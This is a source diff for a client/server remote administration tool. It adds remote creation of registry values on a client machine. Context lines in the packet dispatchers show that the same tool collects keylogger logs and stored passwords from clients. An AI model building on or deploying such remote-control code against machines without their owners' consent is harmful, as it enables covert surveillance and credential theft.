diff --git a/Client/Core/Commands/RegistryHandler.cs b/Client/Core/Commands/RegistryHandler.cs
index 23e79268..6ea3b388 100644
--- a/Client/Core/Commands/RegistryHandler.cs
+++ b/Client/Core/Commands/RegistryHandler.cs
@@ -4,6 +4,7 @@ using System.Linq;
using System.Text;
using xClient.Core.Networking;
using xClient.Core.Registry;
+using xClient.Core.Extensions;
namespace xClient.Core.Commands
{
@@ -23,6 +24,7 @@ namespace xClient.Core.Commands
/* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT MANIPULATE THE REGISTRY. */
public static partial class CommandHandler
{
+
public static void HandleGetRegistryKey(xClient.Core.Packets.ServerPackets.DoLoadRegistryKey packet, Client client)
{
try
@@ -54,6 +56,8 @@ namespace xClient.Core.Commands
{ }
}
+ #region Registry Key Edit
+
public static void HandleCreateRegistryKey(xClient.Core.Packets.ServerPackets.DoCreateRegistryKey packet, Client client)
{
xClient.Core.Packets.ClientPackets.GetCreateRegistryKeyResponse responsePacket = new Packets.ClientPackets.GetCreateRegistryKeyResponse();
@@ -116,5 +120,33 @@ namespace xClient.Core.Commands
responsePacket.Execute(client);
}
+
+ #endregion
+
+ #region RegistryValue Edit
+
+ public static void HandleCreateRegistryValue(xClient.Core.Packets.ServerPackets.DoCreateRegistryValue packet, Client client)
+ {
+ xClient.Core.Packets.ClientPackets.GetCreateRegistryValueResponse responsePacket = new Packets.ClientPackets.GetCreateRegistryValueResponse();
+ string errorMsg = "";
+ string newKeyName = "";
+ try
+ {
+ responsePacket.IsError = !(RegistryEditor.CreateRegistryValue(packet.KeyPath, packet.Kind, out newKeyName, out errorMsg));
+ }
+ catch (Exception ex)
+ {
+ responsePacket.IsError = true;
+ errorMsg = ex.Message;
+ }
+ responsePacket.ErrorMsg = errorMsg;
+
+ responsePacket.Value = new RegValueData(newKeyName, packet.Kind.RegistryTypeToString(), null);
+ responsePacket.KeyPath = packet.KeyPath;
+
+ responsePacket.Execute(client);
+ }
+
+ #endregion
}
}
diff --git a/Client/Core/Extensions/RegistryKeyExtensions.cs b/Client/Core/Extensions/RegistryKeyExtensions.cs
index a12e1c20..383f10a5 100644
--- a/Client/Core/Extensions/RegistryKeyExtensions.cs
+++ b/Client/Core/Extensions/RegistryKeyExtensions.cs
@@ -81,7 +81,7 @@ namespace xClient.Core.Extensions
}
///
- /// Attempts to create a writable sub key from the key provided using the specified
+ /// Attempts to create a sub key from the key provided using the specified
/// name. This method assumes the caller will dispose of the key when done using it.
///
/// The key of which the sub key is to be created from.
@@ -225,7 +225,31 @@ namespace xClient.Core.Extensions
#endregion
- #region FindKey
+ #region Region Value
+
+ ///
+ /// Attempts to create a registry value for the key provided using the specified
+ /// name.
+ ///
+ /// The key of which the value is to be created for.
+ /// The name of the value.
+ /// Returns a boolean value if the action succeded or failed.
+ public static bool CreateValueSafe(this RegistryKey key, string name, object data, RegistryValueKind kind)
+ {
+ try
+ {
+ key.SetValue(name, data, kind);
+ return true;
+ }
+ catch
+ {
+ return false;
+ }
+ }
+
+ #endregion
+
+ #region Find
///
/// Checks if the specified subkey exists in the key
@@ -246,6 +270,25 @@ namespace xClient.Core.Extensions
return false;
}
+ ///
+ /// Checks if the specified registry value exists in the key
+ ///
+ /// The key of which to search.
+ /// The name of the registry value to find.
+ /// Returns boolean value if the action succeded or failed
+ ///
+ public static bool ContainsValue(this RegistryKey key, string name)
+ {
+ foreach (string value in key.GetValueNames())
+ {
+ if (value == name)
+ {
+ return true;
+ }
+ }
+ return false;
+ }
+
#endregion
///
diff --git a/Client/Core/Packets/PacketHandler.cs b/Client/Core/Packets/PacketHandler.cs
index cf1c057a..6b638c84 100644
--- a/Client/Core/Packets/PacketHandler.cs
+++ b/Client/Core/Packets/PacketHandler.cs
@@ -140,6 +140,10 @@ namespace xClient.Core.Packets
{
CommandHandler.HandleRenameRegistryKey((ServerPackets.DoRenameRegistryKey)packet, client);
}
+ else if (type == typeof(ServerPackets.DoCreateRegistryValue))
+ {
+ CommandHandler.HandleCreateRegistryValue((ServerPackets.DoCreateRegistryValue)packet, client);
+ }
else if (type == typeof(ServerPackets.GetKeyloggerLogs))
{
CommandHandler.HandleGetKeyloggerLogs((ServerPackets.GetKeyloggerLogs)packet, client);
diff --git a/Client/Core/Registry/RegistryEditor.cs b/Client/Core/Registry/RegistryEditor.cs
index 299a8ff7..c25ce33c 100644
--- a/Client/Core/Registry/RegistryEditor.cs
+++ b/Client/Core/Registry/RegistryEditor.cs
@@ -9,11 +9,13 @@ namespace xClient.Core.Registry
{
public class RegistryEditor
{
+
+ #region RegistryKey
///
/// Attempts to create the desired sub key to the specified parent.
///
/// The path to the parent for which to create the sub-key on.
- /// /// output parameter that holds the name of the sub-key that was create.
+ /// output parameter that holds the name of the sub-key that was create.
/// output parameter that contians possible error message.
/// Returns boolean value for if the operation failed or succeded.
public static bool CreateRegistryKey(string parentPath, out string name, out string errorMsg)
@@ -162,5 +164,65 @@ namespace xClient.Core.Registry
return false;
}
}
+
+ #endregion
+
+ #region RegistryValue
+
+ ///
+ /// Attempts to create the desired value for the specified parent.
+ ///
+ /// The path to the parent for which to create the sub-key on.
+ /// The type of the registry value to create.
+ /// output parameter that holds the name of the registry value that was create.
+ /// output parameter that contians possible error message.
+ /// Returns boolean value for if the operation failed or succeded.
+ public static bool CreateRegistryValue(string keyPath, RegistryValueKind kind, out string name, out string errorMsg)
+ {
+ name = "";
+ try
+ {
+ RegistryKey key = RegistrySeeker.GetWritableRegistryKey(keyPath);
+
+ //Invalid can not open parent
+ if (key == null)
+ {
+ errorMsg = "You do not have access to open registry: " + keyPath + ", try running as administrator";
+ return false;
+ }
+
+ //Try to find available names
+ int i = 1;
+ string testName = String.Format("New Key #{0}", i);
+
+ while (key.ContainsValue(testName))
+ {
+ i++;
+ testName = String.Format("New Key #{0}", i);
+ }
+ name = testName;
+
+ bool success = key.CreateValueSafe(name, "", kind);
+
+ //Child could not be created
+ if (!success)
+ {
+ errorMsg = "Cannot create value: Error writing to the registry";
+ return false;
+ }
+
+ //Child was successfully created
+ errorMsg = "";
+ return true;
+ }
+ catch (Exception ex)
+ {
+ errorMsg = ex.Message;
+ return false;
+ }
+
+ }
+
+ #endregion
}
}
diff --git a/Server/Core/Commands/RegistryHandler.cs b/Server/Core/Commands/RegistryHandler.cs
index fe2cd7e2..ea8724fd 100644
--- a/Server/Core/Commands/RegistryHandler.cs
+++ b/Server/Core/Commands/RegistryHandler.cs
@@ -27,6 +27,8 @@ namespace xServer.Core.Commands
{ }
}
+ #region Registry Key Edit
+
public static void HandleCreateRegistryKey(xServer.Core.Packets.ClientPackets.GetCreateRegistryKeyResponse packet, Client client)
{
try
@@ -86,5 +88,31 @@ namespace xServer.Core.Commands
}
catch { }
}
+
+ #endregion
+
+ #region Registry Value Edit
+
+ public static void HandleCreateRegistryValue(xServer.Core.Packets.ClientPackets.GetCreateRegistryValueResponse packet, Client client)
+ {
+ try
+ {
+ // Make sure that the client is in the correct state to handle the packet appropriately.
+ if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing)
+ {
+ if (!packet.IsError)
+ {
+ client.Value.FrmRe.AddValueToList(packet.KeyPath, packet.Value);
+ }
+ else
+ {
+ client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg);
+ }
+ }
+ }
+ catch { }
+ }
+
+ #endregion
}
}
diff --git a/Server/Core/Packets/PacketHandler.cs b/Server/Core/Packets/PacketHandler.cs
index 22cae648..76ab87f5 100644
--- a/Server/Core/Packets/PacketHandler.cs
+++ b/Server/Core/Packets/PacketHandler.cs
@@ -82,6 +82,10 @@ namespace xServer.Core.Packets
{
CommandHandler.HandleRenameRegistryKey((ClientPackets.GetRenameRegistryKeyResponse)packet, client);
}
+ else if (type == typeof(ClientPackets.GetCreateRegistryValueResponse))
+ {
+ CommandHandler.HandleCreateRegistryValue((ClientPackets.GetCreateRegistryValueResponse)packet, client);
+ }
else if (type == typeof(ClientPackets.GetPasswordsResponse))
{
CommandHandler.HandleGetPasswordsResponse(client, (ClientPackets.GetPasswordsResponse)packet);
diff --git a/Server/Forms/FrmRegistryEditor.Designer.cs b/Server/Forms/FrmRegistryEditor.Designer.cs
index 083bd756..f46cc1c9 100644
--- a/Server/Forms/FrmRegistryEditor.Designer.cs
+++ b/Server/Forms/FrmRegistryEditor.Designer.cs
@@ -38,12 +38,19 @@
this.hName = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.hType = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.hValue = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
+ this.imageRegistryKeyTypeList = new System.Windows.Forms.ImageList(this.components);
this.statusStrip = new System.Windows.Forms.StatusStrip();
this.selectedStripStatusLabel = new System.Windows.Forms.ToolStripStatusLabel();
- this.imageRegistryKeyTypeList = new System.Windows.Forms.ImageList(this.components);
this.contextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components);
this.newToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.keyToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
+ this.toolStripSeparator2 = new System.Windows.Forms.ToolStripSeparator();
+ this.stringToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
+ this.binaryValueToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
+ this.dWORD32bitValueToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
+ this.qWORD64bitValueToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
+ this.multiStringValueToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
+ this.expandableStringValueToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.toolStripSeparator1 = new System.Windows.Forms.ToolStripSeparator();
this.deleteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.renameToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
@@ -140,6 +147,13 @@
this.hValue.Text = "Value";
this.hValue.Width = 384;
//
+ // imageRegistryKeyTypeList
+ //
+ this.imageRegistryKeyTypeList.ImageStream = ((System.Windows.Forms.ImageListStreamer)(resources.GetObject("imageRegistryKeyTypeList.ImageStream")));
+ this.imageRegistryKeyTypeList.TransparentColor = System.Drawing.Color.Transparent;
+ this.imageRegistryKeyTypeList.Images.SetKeyName(0, "reg_string.png");
+ this.imageRegistryKeyTypeList.Images.SetKeyName(1, "reg_binary.png");
+ //
// statusStrip
//
this.statusStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
@@ -155,13 +169,6 @@
this.selectedStripStatusLabel.Name = "selectedStripStatusLabel";
this.selectedStripStatusLabel.Size = new System.Drawing.Size(0, 17);
//
- // imageRegistryKeyTypeList
- //
- this.imageRegistryKeyTypeList.ImageStream = ((System.Windows.Forms.ImageListStreamer)(resources.GetObject("imageRegistryKeyTypeList.ImageStream")));
- this.imageRegistryKeyTypeList.TransparentColor = System.Drawing.Color.Transparent;
- this.imageRegistryKeyTypeList.Images.SetKeyName(0, "reg_string.png");
- this.imageRegistryKeyTypeList.Images.SetKeyName(1, "reg_binary.png");
- //
// contextMenuStrip
//
this.contextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
@@ -175,7 +182,14 @@
// newToolStripMenuItem
//
this.newToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
- this.keyToolStripMenuItem});
+ this.keyToolStripMenuItem,
+ this.toolStripSeparator2,
+ this.stringToolStripMenuItem,
+ this.binaryValueToolStripMenuItem,
+ this.dWORD32bitValueToolStripMenuItem,
+ this.qWORD64bitValueToolStripMenuItem,
+ this.multiStringValueToolStripMenuItem,
+ this.expandableStringValueToolStripMenuItem});
this.newToolStripMenuItem.Name = "newToolStripMenuItem";
this.newToolStripMenuItem.Size = new System.Drawing.Size(117, 22);
this.newToolStripMenuItem.Text = "New";
@@ -183,10 +197,52 @@
// keyToolStripMenuItem
//
this.keyToolStripMenuItem.Name = "keyToolStripMenuItem";
- this.keyToolStripMenuItem.Size = new System.Drawing.Size(93, 22);
+ this.keyToolStripMenuItem.Size = new System.Drawing.Size(199, 22);
this.keyToolStripMenuItem.Text = "Key";
this.keyToolStripMenuItem.Click += new System.EventHandler(this.createNewRegistryKey_Click);
//
+ // toolStripSeparator2
+ //
+ this.toolStripSeparator2.Name = "toolStripSeparator2";
+ this.toolStripSeparator2.Size = new System.Drawing.Size(196, 6);
+ //
+ // stringToolStripMenuItem
+ //
+ this.stringToolStripMenuItem.Name = "stringToolStripMenuItem";
+ this.stringToolStripMenuItem.Size = new System.Drawing.Size(199, 22);
+ this.stringToolStripMenuItem.Text = "String Value";
+ this.stringToolStripMenuItem.Click += new System.EventHandler(this.createStringRegistryValue_Click);
+ //
+ // binaryValueToolStripMenuItem
+ //
+ this.binaryValueToolStripMenuItem.Name = "binaryValueToolStripMenuItem";
+ this.binaryValueToolStripMenuItem.Size = new System.Drawing.Size(199, 22);
+ this.binaryValueToolStripMenuItem.Text = "Binary Value";
+ //
+ // dWORD32bitValueToolStripMenuItem
+ //
+ this.dWORD32bitValueToolStripMenuItem.Name = "dWORD32bitValueToolStripMenuItem";
+ this.dWORD32bitValueToolStripMenuItem.Size = new System.Drawing.Size(199, 22);
+ this.dWORD32bitValueToolStripMenuItem.Text = "DWORD (32-bit) Value";
+ //
+ // qWORD64bitValueToolStripMenuItem
+ //
+ this.qWORD64bitValueToolStripMenuItem.Name = "qWORD64bitValueToolStripMenuItem";
+ this.qWORD64bitValueToolStripMenuItem.Size = new System.Drawing.Size(199, 22);
+ this.qWORD64bitValueToolStripMenuItem.Text = "QWORD (64-bit) Value";
+ //
+ // multiStringValueToolStripMenuItem
+ //
+ this.multiStringValueToolStripMenuItem.Name = "multiStringValueToolStripMenuItem";
+ this.multiStringValueToolStripMenuItem.Size = new System.Drawing.Size(199, 22);
+ this.multiStringValueToolStripMenuItem.Text = "Multi-String Value";
+ //
+ // expandableStringValueToolStripMenuItem
+ //
+ this.expandableStringValueToolStripMenuItem.Name = "expandableStringValueToolStripMenuItem";
+ this.expandableStringValueToolStripMenuItem.Size = new System.Drawing.Size(199, 22);
+ this.expandableStringValueToolStripMenuItem.Text = "Expandable String Value";
+ //
// toolStripSeparator1
//
this.toolStripSeparator1.Name = "toolStripSeparator1";
@@ -219,6 +275,7 @@
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.Name = "FrmRegistryEditor";
this.Text = "Registry Editor";
+ this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmRegistryEditor_FormClosing);
this.Load += new System.EventHandler(this.FrmRegistryEditor_Load);
this.tableLayoutPanel.ResumeLayout(false);
this.tableLayoutPanel.PerformLayout();
@@ -252,5 +309,12 @@
private System.Windows.Forms.ToolStripSeparator toolStripSeparator1;
private System.Windows.Forms.ToolStripMenuItem deleteToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem renameToolStripMenuItem;
+ private System.Windows.Forms.ToolStripSeparator toolStripSeparator2;
+ private System.Windows.Forms.ToolStripMenuItem stringToolStripMenuItem;
+ private System.Windows.Forms.ToolStripMenuItem binaryValueToolStripMenuItem;
+ private System.Windows.Forms.ToolStripMenuItem dWORD32bitValueToolStripMenuItem;
+ private System.Windows.Forms.ToolStripMenuItem qWORD64bitValueToolStripMenuItem;
+ private System.Windows.Forms.ToolStripMenuItem multiStringValueToolStripMenuItem;
+ private System.Windows.Forms.ToolStripMenuItem expandableStringValueToolStripMenuItem;
}
}
\ No newline at end of file
diff --git a/Server/Forms/FrmRegistryEditor.cs b/Server/Forms/FrmRegistryEditor.cs
index ba3b61e2..d0db2b74 100644
--- a/Server/Forms/FrmRegistryEditor.cs
+++ b/Server/Forms/FrmRegistryEditor.cs
@@ -1,4 +1,5 @@
-using System;
+using Microsoft.Win32;
+using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
@@ -273,6 +274,44 @@ namespace xServer.Forms
#region ListView Helpfunctions
+ public void AddValueToList(string keyPath, RegValueData value)
+ {
+ TreeNode key = GetParentTreeNode(keyPath);
+
+ if (key != null )
+ {
+ lstRegistryKeys.Invoke((MethodInvoker)delegate
+ {
+ List ValuesFromNode = null;
+ if (key.Tag != null) {
+ if (key.Tag.GetType() == typeof(List))
+ {
+ ValuesFromNode = (List)key.Tag;
+ ValuesFromNode.Add(value);
+ }
+ else { return; }
+ }
+ else
+ {
+ ValuesFromNode = new List();
+ ValuesFromNode.Add(value);
+ }
+
+ if (tvRegistryDirectory.SelectedNode == key)
+ {
+ RegistryValueLstItem item = new RegistryValueLstItem(value.Name, value.Type, value.Data);
+ item.ImageIndex = GetRegistryValueImgIndex(value.Type);
+ lstRegistryKeys.Items.Add(item);
+ }
+ else
+ {
+ tvRegistryDirectory.SelectedNode = key.FirstNode;
+ PopulateLstRegistryKeys(ValuesFromNode);
+ }
+ });
+ }
+ }
+
public void PopulateLstRegistryKeys(List values)
{
lstRegistryKeys.Items.Clear();
@@ -438,6 +477,19 @@ namespace xServer.Forms
}
}
+ #region New Registry Value
+
+ private void createStringRegistryValue_Click(object sender, EventArgs e)
+ {
+ if (tvRegistryDirectory.SelectedNode != null)
+ {
+ //Request the creation of a new Registry value of type REG_SZ
+ new xServer.Core.Packets.ServerPackets.DoCreateRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, RegistryValueKind.String).Execute(_connectClient);
+ }
+ }
+
+ #endregion
+
#endregion
#region Handlers
diff --git a/Server/Forms/FrmRegistryEditor.resx b/Server/Forms/FrmRegistryEditor.resx
index c2f92e2d..92ada8fa 100644
--- a/Server/Forms/FrmRegistryEditor.resx
+++ b/Server/Forms/FrmRegistryEditor.resx
@@ -125,7 +125,7 @@
AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w
LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0
ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAADm
- BwAAAk1TRnQBSQFMAwEBAAHoAQAB6AEAARABAAEQAQAE/wEJAQAI/wFCAU0BNgEEBgABNgEEAgABKAMA
+ BwAAAk1TRnQBSQFMAwEBAAH4AQAB+AEAARABAAEQAQAE/wEJAQAI/wFCAU0BNgEEBgABNgEEAgABKAMA
AUADAAEQAwABAQEAAQgGAAEEGAABgAIAAYADAAKAAQABgAMAAYABAAGAAQACgAIAA8ABAAHAAdwBwAEA
AfABygGmAQABMwUAATMBAAEzAQABMwEAAjMCAAMWAQADHAEAAyIBAAMpAQADVQEAA00BAANCAQADOQEA
AYABfAH/AQACUAH/AQABkwEAAdYBAAH/AewBzAEAAcYB1gHvAQAB1gLnAQABkAGpAa0CAAH/ATMDAAFm
@@ -168,8 +168,8 @@
AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w
LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0
- ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAABo
- CQAAAk1TRnQBSQFMAgEBAgEAAQgBAAEIAQABEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo
+ ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAABk
+ CQAAAk1TRnQBSQFMAgEBAgEAARgBAAEYAQABEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo
AwABQAMAARADAAEBAQABCAYAAQQYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA
AQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5
AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMA
@@ -202,14 +202,14 @@
Ae8BBwL/AawC/wHVAf8CrAEZAf8BrAL/Ae8gAAHwAf8BvQL5AeMBRwH/AUcBFwL5AZQC/wHvAfAC/wGs
Av8B1QH/AdUB9AHZAf8BrAL/Ae8gAAHwAf8BFgHjAf8BlAFHAf8BRwGUAv8B+QL/Ae8B8AL/AawB/wH0
AdUB/wGsARkB2QEZAawC/wHvIAAB8AH/Ab0B+QIWARcB/wFHAb0C/wEXAb0B/wHvAfAB/wHTAawB/wHT
- AawB/wHVAawB9QHTAawC/wHvIAAB8AP/Ab0B4wEXAf8BRwG9Av8BRwHzAf8B7wHwDv8B7yAAAfAB/wH1
- ARcBvQHjARYB/wFHAfkBvQGUARcC/wHvAfAC/wGsAf8CrAEZAf8B0wH/AdMBrAH1Af8B7yAAAfAB9AH/
- Ab0ClAL/AUcBvQKUA/8B7wHwAfQB/wGsAf8BrAH/AawB/wHTARkB1QEZAdUB/wHvIAAB8AH0Bv8BRwG9
- Af8F7wHwAfQB/wGsAf8BrAH1AdUBGQHTAfQF7yAAAfAC9AX/AUcBvQH/Ae8B8QHzAfQB7wHwAfQB0wGs
- Af8B3AGsARkB1QGsAf8B7wHxAfMB9AHvIAAB8AHzAvQH/wHvAfMB9AHvAQAB8AHzAvQH/wHvAfMB9AHv
- IQAB8AHxAfMD9AX/Ae8B9AHvAgAB8AHxAfMD9AX/Ae8B9AHvIgAF8AUHA+8DAAXwBQcD7yMAAUIBTQE+
- BwABPgMAASgDAAFAAwABEAMAAQEBAAEBBQABgBcAA/8BAAT/BAABHAE4ARwBOF0AAQEBAAEBBQABAwEA
- AQMFAAEHAQABBwQACw==
+ AawB/wHVAawB/wHTAawC/wHvIAAB8AP/Ab0B4wEXAf8BRwG9Av8BRwHzAf8B7wHwDv8B7yAAAfAC/wEX
+ Ab0B4wEWAf8BRwH5Ab0BlAEXAv8B7wHwAv8BrAH/AqwBGQH/AdMB/wHTAawC/wHvIAAB8AH0Af8BvQKU
+ Av8BRwG9ApQD/wHvAfAB9AH/AawB/wGsAf8BrAH/AdMBGQHVARkB1QH/Ae8gAAHwAfQG/wFHAb0B/wXv
+ AfAB9AH/AawB/wGsAf8B1QEZAdMB9AXvIAAB8AL0Bf8BRwG9Af8B7wHxAfMB9AHvAfAB9AHTAawB/wHc
+ AawBGQHVAawB/wHvAfEB8wH0Ae8gAAHwAfMC9Af/Ae8B8wH0Ae8BAAHwAfMC9Af/Ae8B8wH0Ae8hAAHw
+ AfEB8wP0Bf8B7wH0Ae8CAAHwAfEB8wP0Bf8B7wH0Ae8iAAXwBQcD7wMABfAFBwPvIwABQgFNAT4HAAE+
+ AwABKAMAAUADAAEQAwABAQEAAQEFAAGAFwAD/wEABP8EAAEcATgBHAE4XQABAQEAAQEFAAEDAQABAwUA
+ AQcBAAEHBAAL